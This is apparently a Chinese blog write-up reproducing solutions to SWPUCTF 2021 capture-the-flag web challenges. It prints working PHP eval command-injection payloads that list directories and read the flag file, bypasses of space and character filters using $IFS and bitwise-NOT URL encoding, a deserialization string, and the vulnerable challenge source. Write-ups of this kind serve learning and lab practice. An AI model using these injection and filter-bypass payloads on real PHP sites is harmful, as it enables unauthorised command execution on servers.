web 题解复现1

[SWPUCTF 2021 新生赛]easyrce

首先进行代码审计

发现了eval()函数eval()函数是命令执行函数,常见的命令执行函数还有

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

直接使用system()函数查看根目录下面有什么

system()函数的作用为执行系统命令并输出结果

plyload:?url=system(“ls%20/“);//%20是空格的url编码

此处为什么要有空格

在命令执行的时候,空格是一个非常重要的分隔符,主要用于区分命令的不同组成部分,主要有四种用处

  1. 分隔命令名称与参数
  2. 分隔多个参数
  3. 处理特殊字符的安全性
  4. 影响某些特定功能的行为

到这个这个页面,我们看到了一个疑似flag的文件,我们去尝试获取文件的所有内容

payload:?url=system(“cat%20/flllllaaaaaaggggggg”);

这样我们就得到了这道题的flag

[SWPUCTF 2021 新生赛]hardrce

首先进行代码审计

if的条件要求是$_COOKIE[‘admin’]是否等于1;我们先尝试着满足条件

此时回显了一个php文件,我们去访问它

首先会看到preg_match()函数用于执行一个正则表达式匹配,搜素字符串与给定模式匹配的内容

这行代码的意思是过滤了空格

再往下看,看到了shell_exec()函数,考虑是命令执行

shell_exec()函数与exec()函数的区别:

  1. shell_exec()函数返回值: 返回命令执行后的完整输出作为字符串。而exec()函数返回值: 返回命令执行结果的最后一行输出,而不是整个输出。此外,它还可以通过引用参数获取输出的每一行和返回状态。

    IFS是一个特殊环境变量,叫做内部字段分隔符

    1
    ?url=ls${IFS}/

    $ IFS$1(1可以换成其它的数字)$IFS$9,${IFS},$IFS,都能代替空格,

    payload:?url=ls$IFS$9/

然后我们就要获取文件里的内容,仍要注意不能使用空格

payload: ?url=cat${IFS}/flllllaaaaaaggggggg

最后得到flag

一道简单的反序列化

首先进行代码审计,我们可以发现定义了一个名字叫Fun的类,变量fun创建了一个新的队形,变量ser是变量fun的反序列化,当传入的变量un和ser相等时,才会输出flag

复制代码在本地运行,输出ser变量

c643f2a5aee7fd20d6377bbea91ff0e1

payload: ?un=O:3:”Fun”:3:{s:4:”name”;s:5:”vFREE”;s:3:”age”;s:2:”19”;s:4:”look”;s:8:”handsome”;}

这样就得到了flag

[SWPUCTF 2021 新生赛]hardrce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!

进行代码审计,可以发现代码过滤了一大堆的符号和字母

还有eval语句

对需要使用的函数进行取反,然后进行url编码,之所以使用取反操作,是因为取反操作基本上用的是不可见字符,所以不会触发正则匹配

~进行取反操作,在php种urlencode()函数用于对字符串进行url编码

1
2
3
4
5
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'ls /');
?>

然后 分别取反,构造payload:?wllm=(%8C%86%8C%8B%9A%92)(%93%8C%DF%D0);

bd1baf0e2d3867582e9937cca4da2b31

相同的道理将获取文件内容同样取反

1
2
3
4
5
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'cat /flllllaaaaaaggggggg');
?>

payload:?wllm=(%8C%86%8C%8B%9A%92)(%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

最后得到flag

strlen+intval绕过

进行代码审计, PHP 中,intval() 函数用于将变量转换为整数类型。它会尝试从给定的变量中提取一个整数值,并根据需要进行类型转换。

strlen()函数是求长度的函数

这道题需要满足的条件是num的长度小于等于四,并且num+1经过intval()处理后大于500000

这里可以使用到科学计数法,5e5表示5乘10的5次方

payload:?num=5e5;

rec eval执行

d11182321d3620cd3a7f11e2cf6df8e5

进行代码审计,看eval()函数,考虑命令执行

payload:/?cmd=system(“ls /“);

49fbc4fcf55d90dab1243eb24a7abcf3

然后获取文件的内容

payload:/?cmd=system(“cat /flag_1203”);

49fbc4fcf55d90dab1243eb24a7abcf3

http协议

ec0e39ea1f32223a508857a03345dc77

使用bp抓包,把请求头改为CTFHUB

用bp抓包之后,发现了admin=0

0(false)1(true)

17c6161dbbf9b07fbcaa19aa123c45e0